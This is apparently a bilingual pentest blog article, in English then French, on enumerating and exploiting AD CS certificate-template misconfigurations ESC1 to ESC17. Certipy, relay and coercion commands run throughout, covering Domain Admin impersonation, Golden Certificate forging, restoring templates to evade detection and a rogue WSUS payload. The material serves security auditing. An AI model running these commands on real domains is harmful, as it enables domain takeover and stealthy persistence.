AD CS - Services de certificats Active Directory AD CS - Active Directory Certificate Services

Énumération et exploitation des mauvaises configurations de modèles de certificats dans AD CS. Enumerating and exploiting certificate template misconfigurations in AD CS.

Table of contents
Table des matières
Changelog
- [2026-08-19] Initial publishing
Journal des modifications
- [2026-08-19] Publication initiale

Overview

AD CS is a Windows Server role that corresponds to Microsoft’s Public Key Infrastructure implementation for issuing and managing digital certificates within a domain. Think of it as the part of Active Directory that hands out the certificates everything else trusts.

Back in 2021, researchers at SpecterOps published their Certified Pre-Owned white paper, which established the first ESC vulnerabilities. Additional research has been published since, bringing the total to 17 ESC vulnerabilities as of writing this. As these are misconfigurations rather than software bugs, they can often be found even on up-to-date infrastructures. This makes AD CS one of the first things worth checking during an internal engagement on an Active Directory environment.

This article aims to provide the typical commands you would use to enumerate and exploit ESC vulnerabilities.

Main concepts

Before we move on to the vulnerabilities themselves, I want to introduce some concepts. You can skip this section if you’re familiar with AD CS.

To understand the ESC vulnerabilities, you first need to be comfortable with two ideas: certificates and certificate templates.

As a PKI, AD CS is responsible for generating and distributing digital certificates meant for various purposes, such as signing binaries, encrypting communications, or authentication.

To summarize, an X.509 certificate is a document signed by a certification authority that mostly contains a public key, fields identifying the certificate holder, and, optionally, extensions that expand what the certificate can do. A good example is the Extended Key Usage field.

However, certificates have a wide range of applications, from letting any user log in with a smart card to letting a privileged user sign code. As a consequence, AD CS offers a way to standardize the certificate request process using certificate templates.

A template is a certificate structure hosted by a certificate authority running on AD CS. It defines a certificate type, the actions that can be performed with it, and which users are authorized to request one. This lets a user request a certificate based on a specific template, which greatly simplifies the enrollment process. It also means that a template configured too loosely is all it takes to open a path to domain compromise, which is exactly what the ESC vulnerabilities exploit.

Thus the usual exploitation path during an audit would be :

  1. Use recon to determine if an AD CS PKI is deployed on the audited scope
  2. Use credentials or relaying to list the available certificate templates
  3. Analyze the enabled templates to determine if you can request a vulnerable certificate with your credentials or if you can pivot to other users that can
  4. Use your vulnerable certificate for account compromise depending on the ESC vulnerability as explained below.

Determining if AD CS is deployed on the domain and enumerating certificate templates

If you don’t have credentials yet, you can look at the server names discovered during recon as AD CS servers will usually carry a hostname that hints at their role as a PKI.

You can also look for IIS servers exposing port 443 with the /certsrv endpoint, which points to an AD CS server with web enrollment enabled.

Lastly, if NTLM relaying is possible, Impacket’s ntlmrelayx.py can be used to dump AD CS information from LDAP by relaying a user’s request.

If you have credentials, you can simply use LDAP to search for AD CS.

Using NetExec’s adcs LDAP module :

nxc ldap {{DC_IP}} -u {{username}} -p '{{password}}' -M adcs

Or just use Certipy directly, which can automatically target the PKI :

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}}

(Note that sometimes, notably on Kali distributions, Certipy is called via certipy-ad)

The find command lists every certificate template provided by AD CS by default. You can then narrow it down to only the vulnerable and/or enabled ones using respectively -vulnerable and -enabled.

Note : You must not necessarily trust -vulnerable blindly during an audit. The way it works is that it checks the flags on the certificate templates AND checks if the provided credentials allow you to request a certificate or modify the template. However, it can happen often that a certificate template is vulnerable but exploitable with a different profile that can become an interesting pivot target. This is why the best way to study certificate templates is via Bloodhound, about which I’ll write a detailed article of its own in the future.

Now, let’s move on to the ESC vulnerabilities in detail.

ESC1 : Enrollee Supplies Subject

Condition: The template has the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag set in msPKI-Certificate-Name-Flag, the template enables authentication (Client Authentication, Smart Card Logon, PKINIT, or Any Purpose EKU), and low-privileged users have enroll rights.

Impact: The enrollee can specify an arbitrary Subject Alternative Name (SAN) and impersonate any domain account, including Domain Admins.

Commands:

Enumerate (look for [ESC1] in output)

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} -vulnerable

Request a cert with an arbitrary UPN

certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'VulnTemplate' -upn '{{target_user}}@{{domain}}'

Authenticate and get a TGT / NTLM hash

certipy-ad auth -pfx administrator.pfx -dc-ip {{DC_IP}}

ESC2 : Any Purpose or No EKU

Condition: The template has the Any Purpose EKU (2.5.29.37.0) or no EKU at all, and low-privileged users have enroll rights.

Impact: A certificate with Any Purpose EKU can be used for anything, including client authentication, code signing, and as a sub-CA. A certificate issued with no EKU at all behaves the same way: it acts as a subordinate CA certificate, so it can be used to sign arbitrary new certificates. This makes it functionally equivalent to the ESC3 Certificate Request Agent case.

Commands:

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} -vulnerable

Request the certificate (can then be used to enroll via ESC3 chain)

certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'VulnTemplate'

ESC3 : Certificate Request Agent

Condition: A template has the Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1), and a second template allows enrollment agent enrollment with no restriction on who the agent can enroll on behalf of.

Impact: A low-privileged user can first obtain an enrollment agent certificate, then use it to request certificates on behalf of any user (including Domain Admins, hereafter DA) from the second template.

Commands:

Step 1 : get the enrollment agent certificate

certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'EnrollmentAgentTemplate'

Step 2 : use the agent cert to request a cert on behalf of a DA

certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'User' \
  -on-behalf-of 'domain\administrator' -pfx user.pfx
certipy-ad auth -pfx administrator.pfx -dc-ip {{DC_IP}}

ESC4 : Vulnerable Certificate Template Access Control

Condition: A low-privileged user has write permissions over a certificate template object in AD (WriteDacl, WriteOwner, or WriteProperty on sensitive attributes such as msPKI-Certificate-Name-Flag).

Impact: The attacker can rewrite the template to introduce ESC1 conditions (for example, enabling CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT), then exploit it. In other words, if you can edit the blueprint, you can make it vulnerable on demand.

Commands:

Certipy detects dangerous ACEs on templates. Note that this relies on the template’s DACL granting you write access in the first place.

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} -vulnerable

Overwrite the template to enable ESC1, exploit, then restore

certipy-ad template -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -template 'VulnTemplate' -save-old
certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'VulnTemplate' -upn '{{target_user}}@{{domain}}'

Restore the original template to avoid detection

certipy-ad template -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -template 'VulnTemplate' -configuration VulnTemplate.json

ESC5 : Vulnerable PKI Object Access Control

Condition: A low-privileged user has write rights over sensitive AD CS configuration objects other than templates: the CA server computer object, the CN=Public Key Services container, NTAuthCertificates, or RootCA / SubCA objects.

Impact: Depending on the object, an attacker can manipulate CA trust anchors to make a rogue CA trusted domain-wide, or modify CA enrollment service objects.

Commands:

Certipy reports ACEs on PKI container objects

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} -vulnerable

Examples of vulnerable ACEs are WriteOwner on NTAuthCertificates, which allows you to take ownership and add an attacker-controlled CA to the trusted store.

Exploitation is very context-dependent and usually involves taking ownership of the target object, then modifying it to trust a CA whose private key the attacker controls.

ESC6 : EDITF_ATTRIBUTESUBJECTALTNAME2

Condition: The CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag set in its configuration, which makes the CA accept a user-specified SAN in any certificate request, regardless of template settings.

Impact: This is ESC1 applied to every template on the CA at once, so any user who can enroll in any template can impersonate any domain account.

Note: Microsoft’s May 2022 patch (KB5014754) introduced enforcement of SAN restrictions. ESC6 is mitigated in patched environments.

Commands:

Certipy detects the flag during enumeration

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} -vulnerable

Exploit: supply an arbitrary UPN via any enrollable template

certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'User' -upn '{{target_user}}@{{domain}}'
certipy-ad auth -pfx administrator.pfx -dc-ip {{DC_IP}}

ESC7 : Vulnerable Certificate Authority Access Control

Condition: A low-privileged user has ManageCA or ManageCertificates rights on the CA itself (not on a template).

Impact:

  • ManageCA : can grant themselves ManageCertificates, change CA flags (for example, enable ESC6), or approve pending certificate requests.
  • ManageCertificates alone : can approve any pending certificate request. Combined with a template requiring manager approval, this allows issuing arbitrary certs.

Commands:

Add ManageCertificates right to the current user (requires ManageCA)

certipy-ad ca -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -add-officer {{username}}

Submit a request for a DA cert via a template that requires approval

certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'SubCA' -upn '{{target_user}}@{{domain}}'

Note the Request ID returned, then approve the pending request

certipy-ad ca -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -issue-request <REQUEST_ID>

Retrieve the issued certificate

certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -retrieve <REQUEST_ID>
certipy-ad auth -pfx administrator.pfx -dc-ip {{DC_IP}}

If the CA host also permits remote DCOM administration, the same ManageCA right lets you skip the officer/approve dance entirely and go straight for the CA’s own private key instead

certipy-ad ca -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -backup

Once you hold the CA’s certificate and private key (ca.pfx), you can forge a certificate for any principal offline, a technique generally called a Golden Certificate. Since it’s signed with the CA’s own key rather than requested through the CA, it never touches AD CS at all, so there is nothing to log on the CA side, and it stays valid for as long as the CA certificate itself does, which is usually years. This makes it as much a persistence method as a privilege escalation one.

certipy-ad forge -ca-pfx ca.pfx -upn '{{target_user}}@{{domain}}' -subject 'CN=Administrator,CN=Users,DC=domain,DC=local'
certipy-ad auth -pfx administrator_forged.pfx -domain {{domain}} -dc-ip {{DC_IP}}

ESC8 : NTLM Relay to AD CS HTTP Endpoints

Condition: The CA’s web enrollment interface (/certsrv) accepts NTLM authentication and does not require Extended Protection for Authentication (EPA).

Impact: By coercing a domain controller to authenticate to an attacker-controlled server and relaying those credentials to the CA web enrollment, an attacker can obtain a certificate for the DC machine account, then perform a DCSync.

Commands:

Start the relay targeting the CA web enrollment

ntlmrelayx.py -t http://{{CA_IP}}/certsrv/certfnsh.asp --adcs --template DomainController

Coerce DC authentication (Coercer implements PetitPotam, PrinterBug, DFSCoerce, and more)

python3 Coercer.py coerce -u {{username}} -p '{{password}}' -d {{domain}} \
  -l {{ATTACKER_IP}} -t {{DC_IP}}

Retrieve the base64 cert from ntlmrelayx output, then authenticate

certipy-ad auth -pfx dc.pfx -dc-ip {{DC_IP}}

ESC9 : No Security Extension

Condition: The template has the CT_FLAG_NO_SECURITY_EXTENSION flag set (msPKI-Certificate-Name-Flag), meaning issued certificates will not contain the szOID_NTDS_CA_SECURITY_EXT security extension (which binds the cert to a specific SID). On top of that, the attacker has GenericWrite over a target account.

Impact: By temporarily changing a target user’s UPN to match another privileged account, requesting a certificate using that UPN, then reverting the UPN, the resulting certificate maps to the privileged account during authentication.

Commands:

Step 1 : change victim’s UPN to target account UPN

certipy-ad account update -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -user {{target_account}} -upn {{target_user}}@{{domain}}

Step 2 : request a certificate as victim (cert will embed DA’s UPN)

certipy-ad req -u {{target_account}}@{{domain}} -p '{{target_password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'VulnTemplate'

Step 3 : restore the victim’s original UPN

certipy-ad account update -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -user {{target_account}} -upn {{target_account}}@{{domain}}

Step 4 : authenticate as DA

certipy-ad auth -pfx administrator.pfx -domain {{domain}} -dc-ip {{DC_IP}}

ESC10 : Weak Certificate Mappings

Condition: The domain controller’s StrongCertificateBindingEnforcement registry key (HKLM\SYSTEM\CurrentControlSet\Services\Kdc) is set to 0 (no enforcement) or 1 (audit only). On top of that, the attacker has GenericWrite over a target account.

Impact: Same idea as ESC9. By manipulating a user’s UPN and requesting a certificate, the weak KDC mapping lets you authenticate as a different account. Two attack paths exist:

  • Case 1 (StrongCertificateBindingEnforcement = 0): Modify the UPN of a controlled account to a target’s UPN, request a cert, restore the UPN, authenticate.
  • Case 2 (CertificateMappingMethods includes UPN mapping): Modify the UPN of a controlled account to a target’s email/UPN format, same flow.

Commands:

Check the registry remotely (requires access to DC)

reg query \\<DC>\HKLM\SYSTEM\CurrentControlSet\Services\Kdc /v StrongCertificateBindingEnforcement

The exploit flow is identical to ESC9, so manipulate the UPN, request the cert, revert, then auth

certipy-ad account update -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -user {{target_account}} -upn {{target_user}}@{{domain}}
certipy-ad req -u {{target_account}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'User'
certipy-ad account update -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -user {{target_account}} -upn {{target_account}}@{{domain}}
certipy-ad auth -pfx administrator.pfx -domain {{domain}} -dc-ip {{DC_IP}}

ESC11 : NTLM Relay to RPC Certificate Enrollment

Condition: The CA does not enforce the IF_ENFORCEENCRYPTICERTREQUEST flag, meaning the ICertPassage RPC interface does not require encrypted (signing + sealing) NTLM connections and can be targeted by relay attacks.

Impact: Like ESC8 but via RPC instead of HTTP, so machine account credentials can be relayed to the CA’s RPC enrollment endpoint to obtain a DC certificate.

Commands:

Relay to the RPC endpoint (Certipy 4+)

certipy-ad relay -target rpc://{{CA_IP}} -template DomainController

Coerce DC auth as usual, with Coercer

python3 Coercer.py coerce -u {{username}} -p '{{password}}' -d {{domain}} \
  -l {{ATTACKER_IP}} -t {{DC_IP}}
certipy-ad auth -pfx dc.pfx -dc-ip {{DC_IP}}

ESC12 : Shell Access via ADCS DCOM

Condition: The attacker has ManageCA rights on a CA that runs on a machine where remote DCOM administration is allowed, or has gained shell access to the CA server through other means.

Impact: With ManageCA, the attacker can interact with the CA server via DCOM interfaces (for example ICertAdminD2) to issue or modify certificates, extract the CA’s private key, or install a rogue module. At that point the CA is fully compromised.

Commands:

Extract the CA certificate and private key from a CA the attacker controls or has admin on

certipy-ad ca -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -backup

Once you hold the CA’s certificate and private key (ca.pfx), you can forge a certificate for any principal offline, a technique generally called a Golden Certificate. Since it’s signed with the CA’s own key rather than requested through the CA, it never touches AD CS at all, so there is nothing to log on the CA side, and it stays valid for as long as the CA certificate itself does, which is usually years. This makes it as much a persistence method as a privilege escalation one.

Forge a certificate impersonating a domain admin

certipy-ad forge -ca-pfx ca.pfx -upn '{{target_user}}@{{domain}}' -subject 'CN=Administrator,CN=Users,DC=domain,DC=local'

Authenticate with the forged certificate

certipy-ad auth -pfx administrator_forged.pfx -domain {{domain}} -dc-ip {{DC_IP}}

Condition: A certificate template is linked to an issuance policy (msPKI-OID-Attribute) that is itself linked to an AD group via the msDS-OIDToGroupLink attribute, and a low-privileged user can enroll in that template.

Impact: Obtaining a certificate from this template makes Kerberos automatically add the linked group’s SID to the PAC during authentication, granting the attacker that group’s privileges even if it is a high-privilege group like Enterprise Admins.

Commands:

Certipy 4.8+ detects ESC13

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} -vulnerable

Enroll in the template

certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'VulnTemplate'

Authenticate, and the TGT will include the linked group’s SID in the PAC

certipy-ad auth -pfx user.pfx -dc-ip {{DC_IP}}

ESC14 : Weak Explicit Mapping

Condition: A target account’s altSecurityIdentities attribute contains a weak certificate mapping (for example X509: (issuer/subject) without a serial number, or X509:(UPN)) that the attacker can satisfy by obtaining a certificate with matching fields from a CA they control or have influenced.

Impact: The attacker forges or obtains a certificate whose Issuer/Subject DN or UPN matches a weak mapping entry in the target account’s altSecurityIdentities, which lets them authenticate as that account.

Commands:

Certipy 4.8+ detects accounts with weak altSecurityIdentities mappings

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} -vulnerable

Obtain or forge a cert matching the weak mapping of the target account, then authenticate

certipy-ad auth -pfx forged.pfx -domain {{domain}} -dc-ip {{DC_IP}}

ESC15 : Application Policy EKU Bypass (EKUwu)

Condition: The certificate template uses Schema Version 1 and specifies authentication capabilities via Application Policies (szOID_APPLICATION_CERT_POLICIES) rather than via the standard EKU extension, and low-privileged users can enroll. Application Policies including Client Authentication (1.3.6.1.5.5.7.3.2) are honoured by PKINIT and Schannel even when the standard EKU field does not list them. Schema Version 2+ templates auto-populate the Application Policy from the EKU, which closes this off.

Note: ESC15 (EKUwu) is CVE-2024-49019, discovered by TrustedSec. Microsoft’s November 2024 patch fixed the underlying flaw, so it’s mitigated on patched CAs.

Impact: An attacker can request a certificate from a template that looks like it has no authentication EKU (so the ESC1/ESC2 checks pass) but actually carries Client Authentication via Application Policy, then use it for Kerberos authentication. If the template also allows ENROLLEE_SUPPLIES_SUBJECT, arbitrary user impersonation follows.

Commands:

Certipy detects Application Policy misuse

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} -vulnerable

Request and authenticate, same flow as ESC1

certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'VulnTemplate' -upn '{{target_user}}@{{domain}}'
certipy-ad auth -pfx administrator.pfx -dc-ip {{DC_IP}}

ESC16 : Security Extension Disabled on CA (Globally)

Condition: The CA has the SID security extension OID (szOID_NTDS_CA_SECURITY_EXT, 1.3.6.1.4.1.311.25.2) listed in its DisableExtensionList, so it strips that extension from every certificate it issues, regardless of template. This CA-wide flag reportedly started out as a workaround for an interaction between the ESC6 and ESC7 fixes, and then simply got left in place. On top of that, the attacker needs GenericWrite over a target account.

Impact: The same trick as ESC9 and ESC10, except it isn’t scoped to one template or one KDC setting: since the security extension is missing from every certificate the CA issues, the weak UPN-based binding works domain-wide, for any template.

Commands:

Check the CA’s disabled extensions

certutil -getreg policy\DisableExtensionList

Certipy also flags it during enumeration

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} -vulnerable

Exploit flow is the same UPN dance as ESC9/ESC10

certipy-ad account update -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -user {{target_account}} -upn {{target_user}}@{{domain}}
certipy-ad req -u {{target_account}}@{{domain}} -p '{{target_password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'User'
certipy-ad account update -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -user {{target_account}} -upn {{target_account}}@{{domain}}
certipy-ad auth -pfx administrator.pfx -domain {{domain}} -dc-ip {{DC_IP}}

ESC17 : ADCS-Issued Certificates Against WSUS

Condition: A certificate template has ENROLLEE_SUPPLIES_SUBJECT enabled but only the Server Authentication EKU : an incomplete ESC1 fix that removed the dangerous authentication EKUs but left the template usable to mint a certificate for an arbitrary hostname, including internal infrastructure like the WSUS server. Regular enrollment rights are enough.

Impact: A low-privileged user requests a certificate naming the WSUS server, then performs an on-path attack (ARP or DNS spoofing) to intercept a client’s WSUS traffic and presents that certificate to satisfy TLS validation. From there, a rogue WSUS server can push a signed-looking “update” that is actually a payload, landing SYSTEM code execution on every machine whose WSUS traffic can be intercepted.

Commands:

Enumerate for the pattern (Enrollee Supplies Subject + Server Auth-only EKU)

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} -vulnerable

Request a cert naming the WSUS server as the SAN

certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'VulnTemplate' -dns '{{WSUS_hostname}}'

Spoof the WSUS server and serve the payload over TLS using the forged cert (wsuks)

sudo wsuks -t {{victim_ip}} --WSUS-Server {{WSUS_hostname}} --tls-cert wsus.domain.local.pem

Vue d’ensemble

AD CS est un rôle Windows Server qui correspond à l’implémentation de la Public Key Infrastructure de Microsoft pour émettre et gérer des certificats numériques au sein d’un domaine. Voyez ça comme la partie de l’environnement Active Directory qui distribue les certificats auxquels tout le reste de l’environnement fait confiance.

En 2021, des chercheurs de SpecterOps ont publié leur white paper Certified Pre-Owned qui a établi les premières vulnérabilités ESC. Des recherches supplémentaires ont été publiées depuis, portant le total à 17 vulnérabilités ESC à l’heure où j’écris ces lignes. Comme ce sont des mauvaises configurations plutôt que des vulnérabilités dans le code, on peut souvent les retrouver même sur des infrastructures à jour. ça fait d’AD CS l’une des premières choses à vérifier lors d’un pentest interne sur un environnement Active Directory.

Cet article vise à résumer les vulnérabilités ESC et rappeler les commandes permettant de les exploiter sur le terrain.

Concepts principaux

Avant de passer aux vulnérabilités elles-mêmes, je veux poser quelques bases. Vous pouvez sauter cette section si vous êtes déjà familier avec AD CS.

Pour comprendre les vulnérabilités ESC, vous devez d’abord être à l’aise avec deux idées : les certificats et les modèles de certificats.

En tant que PKI, AD CS est responsable de générer et distribuer des certificats numériques destinés à différents usages : signer des binaires, chiffrer des communications, l’authentifier des utilisateur…

Pour résumer, un certificat X.509 est un document signé par une autorité de certification qui contient principalement une clé publique, des champs identifiant le détenteur du certificat, et, optionnellement, des champs “extension” qui étendent ce que le certificat peut faire. Un exemple important pour la suite est le champ Extended Key Usage.

Ainsi, les certificats ont un grand nombre d’applications, allant du fait de permettre à n’importe quel utilisateur de se connecter avec une carte à puce jusqu’à permettre à un utilisateur privilégié de signer du code. Par conséquent, AD CS offre une façon de standardiser le processus de demande de certificat en utilisant des modèles de certificat.

Un modèle est une structure de certificat hébergée par une autorité de certification tournant sur AD CS. Il définit un type de certificat, les actions qu’on peut effectuer avec, et quels utilisateurs sont autorisés à en demander un. Ça permet donc à un utilisateur de demander un certificat basé sur un modèle spécifique, ce qui simplifie grandement le processus d’enrôlement. Ça signifie également qu’un modèle configuré de façon trop permissive suffit à ouvrir un chemin vers la compromission du domaine, ce qui est exactement ce qu’exploitent les vulnérabilités ESC.

Ainsi, le chemin d’exploitation habituel lors d’un audit serait le suivant :

  1. Faire de la reconnaissance pour déterminer si une PKI AD CS est déployée sur le périmètre audité
  2. Utiliser des identifiants ou du relayage pour lister les modèles de certificats disponibles
  3. Analyser les modèles activés pour déterminer si vous pouvez demander un certificat vulnérable avec vos identifiants ou si vous pouvez pivoter vers d’autres utilisateurs qui le peuvent
  4. Utiliser votre certificat vulnérable pour la compromission du compte, selon la vulnérabilité ESC en question, comme expliqué ci-dessous.

Déterminer si AD CS est déployé sur le domaine et énumérer les modèles de certificats

Si vous n’avez pas encore d’identifiants, vous pouvez regarder les noms de serveurs découverts pendant la reconnaissance. En effet, les serveurs AD CS portent généralement un nom d’hôte qui laisse deviner leur rôle de PKI.

Vous pouvez aussi chercher des serveurs IIS exposant le port 443 avec le point de terminaison /certsrv, indiquant la présence d’un serveur AD CS avec l’enrôlement web activée.

Enfin, si le relayage NTLM est possible, l’outil ntlmrelayx.py d’Impacket peut être utilisé pour extraire les informations d’AD CS depuis LDAP en relayant la requête d’un utilisateur.

Si vous avez des identifiants, vous pouvez simplement utiliser LDAP pour chercher AD CS.

Avec le module LDAP adcs de NetExec :

nxc ldap {{DC_IP}} -u {{username}} -p '{{password}}' -M adcs

Ou utilisez directement Certipy qui peut automatiquement cibler la PKI :

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}}

(On notera que parfois, notamment sur les distributions Kali, Certipy s’appelle certipy-ad)

La commande find liste par défaut chaque modèle de certificat fourni par AD CS. Vous pouvez ensuite restreindre aux seuls modèles vulnérables et/ou activés avec respectivement -vulnerable et -enabled.

Note : Il ne faut pas nécessairement faire confiance à -vulnerable les yeux fermés pendant un audit. La façon dont ce flag fonctionne est qu’il vérifie les flags sur les modèles de certificats ET vérifie si les identifiants fournis permettent de demander un certificat ou de modifier le modèle. Cependant, il arrive souvent qu’un modèle de certificat soit vulnérable mais exploitable avec un profil différent, ce qui peut devenir une cible de pivot intéressante. C’est pour ça que la meilleure façon d’étudier les modèles de certificats est via Bloodhound, sur lequel j’écrirai un article détaillé dans le futur.

Maintenant, passons aux vulnérabilités ESC en détail.

ESC1 : Enrollee Supplies Subject

Condition : Le modèle a le flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT positionné dans msPKI-Certificate-Name-Flag, le modèle active l’authentification (Client Authentication, Smart Card Logon, PKINIT, ou l’EKU Any Purpose), et les utilisateurs à faibles privilèges ont des droits d’enrôlement.

Impact : Le demandeur peut spécifier un Subject Alternative Name (SAN) arbitraire et usurper n’importe quel compte du domaine, y compris les Admins du Domaine.

Commandes :

Énumérer (cherchez [ESC1] dans la sortie)

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} -vulnerable

Demander un certificat avec un UPN arbitraire

certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'VulnTemplate' -upn '{{target_user}}@{{domain}}'

S’authentifier et obtenir un TGT / une empreinte NTLM

certipy-ad auth -pfx administrator.pfx -dc-ip {{DC_IP}}

ESC2 : Any Purpose ou aucun EKU

Condition : Le modèle a l’EKU Any Purpose (2.5.29.37.0) ou aucun EKU du tout et les utilisateurs à faibles privilèges ont des droits d’enrôlement.

Impact : Un certificat avec l’EKU Any Purpose peut servir à n’importe quoi, y compris l’authentification client, la signature de code, et faire office de sub-CA. Un certificat émis sans aucun EKU se comporte de la même façon : il agit comme un certificat de sub-CA, donc il peut servir à signer de nouveaux certificats arbitraires. C’est fonctionnellement équivalent au cas ESC3 Certificate Request Agent.

Commandes :

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} -vulnerable

Demander le certificat (peut ensuite servir à s’enrôler via une chaîne ESC3)

certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'VulnTemplate'

ESC3 : Certificate Request Agent

Condition : Un modèle a l’EKU Certificate Request Agent (1.3.6.1.4.1.311.20.2.1), et un second modèle autorise l’enrôlement par enrollment agent sans restriction sur les utilisateurs pour qui l’agent peut s’enrôler.

Impact : Un utilisateur à faibles privilèges peut d’abord obtenir un certificat d’enrollment agent, puis l’utiliser pour demander des certificats au nom de n’importe quel utilisateur (y compris les Admins du Domaine) depuis le second modèle.

Commandes :

Étape 1 : obtenir le certificat d’enrollment agent

certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'EnrollmentAgentTemplate'

Étape 2 : utiliser le certificat d’agent pour demander un certificat au nom d’un Admin du Domaine

certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'User' \
  -on-behalf-of 'domain\administrator' -pfx user.pfx
certipy-ad auth -pfx administrator.pfx -dc-ip {{DC_IP}}

ESC4 : Contrôle d’accès vulnérable sur un modèle de certificat

Condition : Un utilisateur à faibles privilèges a des droits d’écriture sur un objet modèle de certificat dansl’AD (WriteDacl, WriteOwner, ou WriteProperty sur des attributs sensibles comme msPKI-Certificate-Name-Flag).

Impact : L’attaquant peut réécrire le modèle pour y introduire les conditions d’ESC1 (par exemple, activer CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT), puis l’exploiter. Autrement dit, si vous pouvez modifier le plan, vous pouvez le rendre vulnérable à la demande.

Commandes :

Certipy détecte les ACE dangereuses sur les modèles. Notez que ça suppose que la DACL du modèle vous accorde un accès en écriture en premier lieu.

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} -vulnerable

Écraser le modèle pour activer ESC1, exploiter, puis restaurer

certipy-ad template -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -template 'VulnTemplate' -save-old
certipy-ad req -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -ca '{{CA_NAME}}' -template 'VulnTemplate' -upn '{{target_user}}@{{domain}}'

Restaurer le modèle original pour éviter la détection

certipy-ad template -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} \
  -template 'VulnTemplate' -configuration VulnTemplate.json

ESC5 : Contrôle d’accès vulnérable sur un objet PKI

Condition : Un utilisateur à faibles privilèges a des droits d’écriture sur des objets de configuration AD CS sensibles autres que les modèles : l’objet ordinateur du serveur CA, le conteneur CN=Public Key Services, NTAuthCertificates, ou les objets RootCA / SubCA.

Impact : Selon l’objet, un attaquant peut manipuler les ancres de confiance de la CA pour rendre une CA malveillante approuvée à l’échelle du domaine ou modifier les objets du service d’enrôlement de la CA.

Commandes :

Certipy peut remonter les ACE dangereuses sur les objets conteneurs PKI

certipy-ad find -u {{username}}@{{domain}} -p '{{password}}' -dc-ip {{DC_IP}} -vulnerable

Un exemple d’ACE vulnérable est WriteOwner sur NTAuthCertificates qui permet de prendre possession de l’objet et d’ajouter une CA contrôlée par l’attaquant au magasin de confiance.

